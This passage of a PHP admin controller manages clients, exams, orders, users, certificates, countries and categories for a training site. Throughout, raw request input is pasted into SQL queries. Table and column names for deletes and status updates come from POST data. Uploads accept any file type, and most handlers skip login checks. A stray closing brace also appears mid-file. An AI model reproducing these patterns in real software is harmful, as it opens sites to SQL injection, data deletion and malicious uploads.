		$result_data = $this->db->query("SELECT * from clients $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(client_id) as datacount from clients $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		
		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
		 $result['aaData'][$key][] = '<img class="" src="'.base_url().'uploads/clients/thumbnails/'.$res['client_image'].'" width="80" height="65">';
		$result['aaData'][$key][] = '<label class="switch " >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="clients" data-did="'.$res['client_id'].'" data-colid="client_id">
          <span class="slider round"></span>
        </label>';
		
			
		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['client_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-colid="client_id" data-did="'.$res['client_id'].'" data-table="clients" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
			public function load_exams_list()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'exams_list_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
        $search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where certification_name LIKE '%$search%' or exam_level LIKE '%$search%' or exam_institute LIKE '%$search%'";	
		} 
		$result_data = $this->db->query("SELECT * from exams_list $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(exams_list_id) as datacount from exams_list $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		//echo '<pre>';print_r($result_data);

		foreach($result_data as $res) {
		
		$checked='';
		if($res['status']==1)
		$checked='checked';
	   
		$result['aaData'][$key][] = $res['certification_name'];
		$result['aaData'][$key][] = $res['exam_institute'];
		$result['aaData'][$key][] = $res['sort_order'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="exams_list" data-did="'.$res['exams_list_id'].'" data-colid="exams_list_id">
          <span class="slider round"></span>
        </label>';
			$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['exams_list_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-colid="exams_list_id" data-did="'.$res['exams_list_id'].'" data-table="exams_list" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';	
	
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
		 public function add_client()
    {
        $user_id = 1234; // session or user_id       
        if(isset($_FILES['userfile']) && $_FILES['userfile']['error'] != '4'){
	
            $files = $_FILES;
            $count = count($_FILES['userfile']['name']); // count element 
            for($i=0; $i<$count; $i++){
                $_FILES['userfile']['name']= $files['userfile']['name'][$i];
                $_FILES['userfile']['type']= $files['userfile']['type'][$i];
                $_FILES['userfile']['tmp_name']= $files['userfile']['tmp_name'][$i];
                $_FILES['userfile']['error']= $files['userfile']['error'][$i];
                $_FILES['userfile']['size']= $files['userfile']['size'][$i];
                $config['upload_path'] = 'uploads/clients/';
                $target_path = 'uploads/clients/thumbnails/';
                $config['allowed_types'] = 'gif|jpg|png|jpeg';
               
                $config['remove_spaces'] = true;
                $config['overwrite'] = true;
            
                $this->load->library('upload', $config);
                $this->upload->initialize($config);
                $this->upload->do_upload('userfile');
                $fileName = $_FILES['userfile']['name'];
                $data = array('upload_data' => $this->upload->data()); 
                if(!$this->upload->do_upload('userfile'))
                {
                   $error = array('upload_error' => $this->upload->display_errors());
                   $this->session->set_flashdata('error',  $error['upload_error']); 
                 

                } // resize code
                $path=$data['upload_data']['full_path'];
                 $q['name']=$data['upload_data']['file_name'];
                 $configi['image_library'] = 'gd2';
                 $configi['source_image']   = $path;
                 $configi['new_image']   = $target_path;
                 $configi['maintain_ratio'] = TRUE;
                 $configi['width']  = 250; // new size
                 $configi['height'] = 65;
                $this->load->library('image_lib');
                $this->image_lib->initialize($configi);    
                $this->image_lib->resize();
                $images[] = $fileName;
              
                 $system_array1 = array('status'=>1,'client_image'=>$fileName);
                 $this->db->insert('clients',$system_array1);        
		}
		$data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
    }

}
	public function orders_list()
	{  
	   $this->login_check();
		$this->load->view('admin/orders_list');
	}
			public function load_orders_list()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'order_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'order_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		
		 $search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where user_name LIKE '%$search%' or email LIKE '%$search%' or phone LIKE '%$search%'  or course_name LIKE '%$search%'";	
		} 
		$result_data = $this->db->query("select s.*,c.course_name,c.course_id,s.traning_type,course_date,o.*,u.* from
         orders o inner join 
		 schedule s on o.schedule_id=s.schedule_id
		 inner join users u on u.user_id=o.user_id
		inner join courses c on s.course_id=c.course_id $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(order_id) as datacount from orders $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		foreach($result_data as $res) {
		if($res['order_status']=='pending')
		$class='danger';
	    else
		$class='success';
		$result['aaData'][$key][] = $res['course_name'];
		$result['aaData'][$key][] = $res['user_name'];
		
		$result['aaData'][$key][] = $res['email'];
		$result['aaData'][$key][] = $res['phone'];
        $result['aaData'][$key][] = ' GHS '.number_format($res['paid_amount'],2);
		 $result['aaData'][$key][] = '<a class="alert alert-'.$class.'" style="color:#fff;padding:3px">'.$res['order_status'].'</a>';
		 $result['aaData'][$key][] = $res['order_date'];
		 $result['aaData'][$key][] = '<a target="_blank" href="'.base_url().'admin/invoice/'.$res['order_id'].'" class="view_invoice" style="cursor:pointer"><i class="fa fa-file"></i></a>';;
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	 function invoice($order_id)
   {
	   
	     $data['result_data'] = $this->db->query("select s.*,c.course_name,c.course_id,s.traning_type,course_date,o.*,u.* from
         orders o inner join 
		 schedule s on o.schedule_id=s.schedule_id
		 inner join users u on u.user_id=o.user_id
		inner join courses c on s.course_id=c.course_id 
	    where o.order_id='$order_id'")->row_array();
        echo $msg = $this->load->view('user/invoice',$data,true);       
        	 
	  
   }
		public function load_users_list()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'user_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		$serach_by=' where user_id!=0';
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		
		
	   
		//echo "SELECT * from categories $serach_by $order_by $limit_cond";exit;
		$result_data = $this->db->query("SELECT * from users $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(user_id) as datacount from users $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		//echo '<pre>';print_r($result_data);

		foreach($result_data as $res) {
		
		$checked='';
		if($res['status']==1)
		$checked='checked';
	   
		$result['aaData'][$key][] = $res['user_name'];
		$result['aaData'][$key][] = $res['email'];
		$result['aaData'][$key][] = $res['phone'];
		$result['aaData'][$key][] = $res['city'];
		$result['aaData'][$key][] = $res['country'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="users" data-did="'.$res['user_id'].'" data-colid="user_id">
          <span class="slider round"></span>
        </label>';
		$result['aaData'][$key][]='
		<a data-colid="user_id" class="btn btn-danger btn-sm text-white delclass" data-did="'.$res['user_id'].'" data-table="users" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
			public function load_certificate_list()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'user_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
       $search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where participant_name LIKE '%$search%' or certificate_number LIKE '%$search%' or training_name LIKE '%$search%' or training_date LIKE '%$search%'";	
		} 
		$result_data = $this->db->query("SELECT * from certificate_list $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(user_id) as datacount from certificate_list $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;

		foreach($result_data as $res) {
		
		$checked='';
		if($res['status']==1)
		$checked='checked';
	   
		$result['aaData'][$key][] = $res['certificate_number'];
		$result['aaData'][$key][] = $res['participant_name'];
		$result['aaData'][$key][] = $res['training_name'];
		$result['aaData'][$key][] = $res['training_date'];
	
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="certificate_list" data-did="'.$res['user_id'].'" data-colid="user_id">
          <span class="slider round"></span>
        </label>';
		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['user_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a data-colid="user_id" class="btn btn-danger btn-sm text-white delclass" data-did="'.$res['user_id'].'" data-table="certificate_list" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	public function certificate_list()
	{  
	   
		$this->load->view('admin/certificate_list');
	}
	public function categories_list()
	{  
	   
		$this->load->view('admin/categories_list');
	}
	public function coutries_list()
	{  
	   
		$this->load->view('admin/coutries_list');
	}
		public function load_coutries_list()
	{  
	
	    $search=$_GET['search']['value'];
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'country_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: ''; 
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where country_name LIKE '%$search%' or country_currency LIKE '%$search%' or country_conversion LIKE '%$search%'";	
		}			
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		$result_data = $this->db->query("SELECT * from countries $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(country_id) as datacount from countries $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
		$result['aaData'][$key][] = $res['country_name'];
		$result['aaData'][$key][] = $res['country_currency'];
		$result['aaData'][$key][] = $res['country_conversion'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="countries" data-did="'.$res['country_id'].'" data-colid="country_id">
          <span class="slider round"></span>
        </label>';
			

		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['country_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-colid="country_id" data-did="'.$res['country_id'].'" data-table="countries" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
			public function load_cities_list()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'c.city_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		$search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where city_name LIKE '%$search%' or country_name LIKE '%$search%' ";	
		}
		$result_data = $this->db->query("SELECT cs.country_name,c.* from countries cs inner join cities c on cs.country_id=c.country_id $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(cs.country_id) as datacount  from countries cs inner join cities c on cs.country_id=c.country_id $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
		$result['aaData'][$key][] = $res['city_name'];
		$result['aaData'][$key][] = $res['country_name'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="cities" data-did="'.$res['city_id'].'" data-colid="city_id">
          <span class="slider round"></span>
        </label>';
			

		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['city_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-colid="city_id" data-did="'.$res['city_id'].'" data-table="cities" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	public function cities_list()
	{  
	    	 $q=$this->db->query("SELECT * FROM `countries` where status='1'");
    $data['countries'] = $q->result_array();
		$this->load->view('admin/cities_list',$data);
	}
			public function add_city()
	{
		
			$country_name = $this->input->post('country_name');
			$country_slug= $this->seo_friendly_url($country_name);	
			$system_array=array('city_name'=>$country_name,
			'city_slug'=>$country_slug,			
			'country_id'=>$this->input->post('country_id'),
			'status'=>$this->input->post('status')
			);

		 $this->db->insert('cities',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
			public function update_city()
	{
		
		   $id = $this->input->post('id');
			$country_name = $this->input->post('country_name');
			$country_slug= $this->seo_friendly_url($country_name);	
			$system_array=array('city_name'=>$country_name,
			'city_slug'=>$country_slug,			
			'country_id'=>$this->input->post('country_id'),
			'status'=>$this->input->post('status')
			);

		$this->db->where('city_id', $id);
		$this->db->update('cities', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
			public function update_exam_type()
	{
		
		   $id = $this->input->post('id');
			$exam_type = $this->input->post('exam_type');
			$exam_type_slug= $this->seo_friendly_url($exam_type);	
			$system_array=array('exam_type'=>$exam_type,
			'exam_type_slug'=>$exam_type_slug,	
			'status'=>$this->input->post('status')
			);

		$this->db->where('exam_type_id', $id);
		$this->db->update('exam_types', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	public function delete_record()
	{
		$id = $this->input->post('id');
		$table = $this->input->post('table');
		$colid=$this->input->post('colid');
		$this->db->where($colid, $id);
		$this->db->delete($table);
		 $data['status']=1;
		 $data['msg']='Record Deleted Successfully';
	     echo json_encode($data);
		 exit;
	}
	public function delete_disease()
	{
		$id = $this->input->post('id');
		
		$colid=$this->input->post('colid');
		$this->db->where('diseases_id', $id);
		$this->db->delete('diseases_list');
		 $data['status']=1;
		 $data['msg']='Record Deleted Successfully';
	     echo json_encode($data);
		 exit;
	}
	public function edit_country()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `countries` where country_id='$id'");
    $data['view_data'] = $q->row_array();
	$this->load->view("admin/edit_country",$data);
	} 
	public function edit_exam_type()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `exam_types` where exam_type_id='$id'");
    $data['view_data'] = $q->row_array();
	$this->load->view("admin/edit_exam_type",$data);
	} 
	public function edit_city()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `cities` where city_id='$id'");
    $data['view_data'] = $q->row_array();
	 $q=$this->db->query("SELECT * FROM `countries` where status='1'");
    $data['countries'] = $q->result_array();
	$this->load->view("admin/edit_city",$data);
	} 	
	public function edit_category()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `categories` where category_id='$id'");
    $data['view_data'] = $q->row_array();
	$this->load->view("admin/edit_category",$data);
	} 	
	public function edit_sub_category()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `sub_categories` where id='$id'");
    $data['view_data'] = $q->row_array();
	 $q=$this->db->query("SELECT * FROM `categories` where status='1'");
    $data['categories'] = $q->result_array();
	$this->load->view("admin/edit_sub_category",$data);
	} 
	public function update_status()
	{
		$id = $this->input->post('id');
		$table = $this->input->post('table');
		$colid = $this->input->post('colid');
		$status = $this->input->post('status');

		$data['status']=$status;		

		$this->db->where($colid, $id);
		$this->db->update($table, $data);
		
		 $data['msg']='Record Deleted Successfully';
	    echo 1;
		 exit;
	}
	public function update_status_subsribe()
	{
		$id = $this->input->post('id');
		$table = $this->input->post('table');
		$colid = $this->input->post('colid');
		$status = $this->input->post('status');

		$data['subscribe_status']=$status;		

		$this->db->where($colid, $id);
		$this->db->update($table, $data);
		
		 $data['msg']='Record Deleted Successfully';
	    echo 1;
		 exit;
	}
	public function datatable()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'category_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		$search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where category_name LIKE '%$search%' ";	
		}

		$result_data = $this->db->query("SELECT * from categories $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(category_id) as datacount from categories $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;

		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
		$result['aaData'][$key][] = $res['category_name'];
	    if($res['is_home']==1)
		{
			$result['aaData'][$key][] = 'Yes';
		}else
	    {
			$result['aaData'][$key][] = 'No';
			
		}
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="categories" data-did="'.$res['category_id'].'" data-colid="category_id">
          <span class="slider round"></span>
        </label>';
		$result['aaData'][$key][] = $res['sort_order'];			
	
		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['category_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a data-colid="category_id" class="btn btn-danger btn-sm text-white delclass" data-did="'.$res['category_id'].'" data-table="categories" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	function seo_friendly_url($string)
	{
    $string = str_replace(array('[\', \']'), '', $string);
    $string = preg_replace('/\[.*\]/U', '', $string);
    $string = preg_replace('/&(amp;)?#?[a-z0-9]+;/i', '-', $string);
    $string = htmlentities($string, ENT_COMPAT, 'utf-8');
    $string = preg_replace('/&([a-z])(acute|uml|circ|grave|ring|cedil|slash|tilde|caron|lig|quot|rsquo);/i', '\\1', $string );
    $string = preg_replace(array('/[^a-z0-9]/i', '/[-]+/') , '-', $string);
    return strtolower(trim($string, '-'));
    }
		public function add_coountry()
	{
		
		
			$country_name = $this->input->post('country_name');
			$country_slug= $this->seo_friendly_url($country_name);	
			$system_array=array('country_name'=>$country_name,
			'country_slug'=>$country_slug,			
			'country_currency'=>$this->input->post('country_currency'),
			'country_conversion'=>$this->input->post('country_conversion'),
			'status'=>$this->input->post('status')
			);

		 $this->db->insert('countries',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
		public function add_exam_type()
	{
		
		
			$exam_type = $this->input->post('exam_type');
			$exam_type_slug= $this->seo_friendly_url($exam_type);	
			$system_array=array('exam_type'=>$exam_type,
			'exam_type_slug'=>$exam_type_slug,			
			'status'=>$this->input->post('status')
			);

		 $this->db->insert('exam_types',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	public function add_category()
	{
		
		$category_name = $this->input->post('category_name');
		$category_slug= $this->input->post('category_slug');
		$sort_order = $this->input->post('sort_order');
		$category_meta_title = $this->input->post('category_meta_title');
		$category_meta_desc = $this->input->post('category_meta_desc');
		$category_meta_keywords = $this->input->post('category_meta_keywords');
		$is_home = $this->input->post('is_home');
		$system_array=array('category_name'=>$category_name,
						    'category_slug'=>$category_slug,
							'sort_order'=>$sort_order,
							'category_meta_title'=>$category_meta_title,
							'category_meta_desc'=>$category_meta_desc,
							'category_meta_keywords'=>$category_meta_keywords,
							'is_home'=>$is_home,
							'status'=>1
										
		                   
		);
                				if(isset($_FILES['course_image']['name']) && $_FILES['course_image']['name']!='')
		{
			$date=date('Ymdhis');
			$configVideo['upload_path'] = 'uploads/category_images/';
			$configVideo['allowed_types'] = '*';
			$configVideo['overwrite'] = FALSE;
			$configVideo['remove_spaces'] = TRUE;
			$banner_image = $date.$_FILES['course_image']['name'];
			$configVideo['file_name'] = $banner_image;
			$this->load->library('upload', $configVideo);
			$this->upload->initialize($configVideo);
			if (!$this->upload->do_upload('course_image')) {
			echo $this->upload->display_errors();
			} else {
			$videoDetails1 = $this->upload->data();

			$course_image = $tumbnail=$videoDetails1['file_name'];
			$helthy['thumbnail'] = $tumbnail;
			$config = array(
			"source_image"    => $videoDetails1['full_path'],
			"new_image"       => 'uploads/category_images/thumbnails/'.$banner_image,
			"maintain_ratio"  => FALSE,

			"width"		   => 240,
			"height"		   => 160	);
			$config['image_library'] = 'gd2';
			// creating thumbnail			
			$this->load->library('image_lib');
			// Set your config up
			$this->image_lib->initialize($config);
			// Do your manipulation

			// $this->image_lib->resize();
			if ( ! $this->image_lib->resize())
			{
			echo $this->image_lib->display_errors();
			}

			}
		
		$system_array['category_image']=$banner_image;
		}
		 $this->db->insert('categories',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	
		public function update_category()
	{
		
		   $id = $this->input->post('id');
					$category_name = $this->input->post('category_name');
		$category_slug= $this->input->post('category_slug');
		$sort_order = $this->input->post('sort_order');
		$category_meta_title = $this->input->post('category_meta_title');
		$category_meta_desc = $this->input->post('category_meta_desc');
		$category_meta_keywords = $this->input->post('category_meta_keywords');
		$is_home = $this->input->post('is_home');
		$system_array=array('category_name'=>$category_name,
						    'category_slug'=>$category_slug,
							'sort_order'=>$sort_order,
							'category_meta_title'=>$category_meta_title,
							'category_meta_desc'=>$category_meta_desc,
							'category_meta_keywords'=>$category_meta_keywords,
							'is_home'=>$is_home,
										
		                   
		);

        				if(isset($_FILES['course_image']['name']) && $_FILES['course_image']['name']!='')
		{
			$date=date('Ymdhis');
			$configVideo['upload_path'] = 'uploads/category_images/';
			$configVideo['allowed_types'] = '*';
			$configVideo['overwrite'] = FALSE;
			$configVideo['remove_spaces'] = TRUE;
			$banner_image = $date.$_FILES['course_image']['name'];
			$configVideo['file_name'] = $banner_image;
			$this->load->library('upload', $configVideo);
			$this->upload->initialize($configVideo);
			if (!$this->upload->do_upload('course_image')) {
			echo $this->upload->display_errors();
			} else {
			$videoDetails1 = $this->upload->data();

			$course_image = $tumbnail=$videoDetails1['file_name'];
			$helthy['thumbnail'] = $tumbnail;
			$config = array(
			"source_image"    => $videoDetails1['full_path'],
			"new_image"       => 'uploads/category_images/thumbnails/'.$banner_image,
			"maintain_ratio"  => FALSE,

			"width"		   => 240,
			"height"		   => 160	);
			$config['image_library'] = 'gd2';
			// creating thumbnail			
			$this->load->library('image_lib');
			// Set your config up
			$this->image_lib->initialize($config);
			// Do your manipulation

			// $this->image_lib->resize();
			if ( ! $this->image_lib->resize())
			{
			echo $this->image_lib->display_errors();
			}

			}
		
		$system_array['category_image']=$banner_image;
		}
		$this->db->where('category_id', $id);
		$this->db->update('categories', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	public function sub_categories_list()
	{  
	   $data['categories'] = $this->db->query("SELECT c.category_name,c.id from categories c where status='1'")->result_array();
		$this->load->view('admin/sub_categories_list',$data);
	}
	
	public function add_sub_category()
	{
		
		
			$category_name = $this->input->post('category_name');
			$category_slug= $this->seo_friendly_url($category_name);
			$sort_order=$this->input->post('sort_order');
			$system_array=array('sub_category_name'=>$category_name,
			'sub_category_slug'=>$category_slug,
			'sort_order'=>$sort_order,
			'status'=>$this->input->post('status'),
			'meta_title'=>$this->input->post('meta_title'),
			'meta_desc'=>$this->input->post('meta_desc'),
			'meta_keywords'=>$this->input->post('meta_keywords'),
			'category_id'=>$this->input->post('category_id'),
			'added_date'=>date('Y-m-d H:i:s')


			);
				if(isset($_FILES['course_image']['name']) && $_FILES['course_image']['name']!='')
		{
			$date=date('Ymdhis');
			$configVideo['upload_path'] = 'uploads/category_images/';
			$configVideo['allowed_types'] = '*';
			$configVideo['overwrite'] = FALSE;
			$configVideo['remove_spaces'] = TRUE;
			$banner_image = $date.$_FILES['course_image']['name'];
			$configVideo['file_name'] = $banner_image;
			$this->load->library('upload', $configVideo);
			$this->upload->initialize($configVideo);
			if (!$this->upload->do_upload('course_image')) {
			echo $this->upload->display_errors();
			} else {
			$videoDetails1 = $this->upload->data();
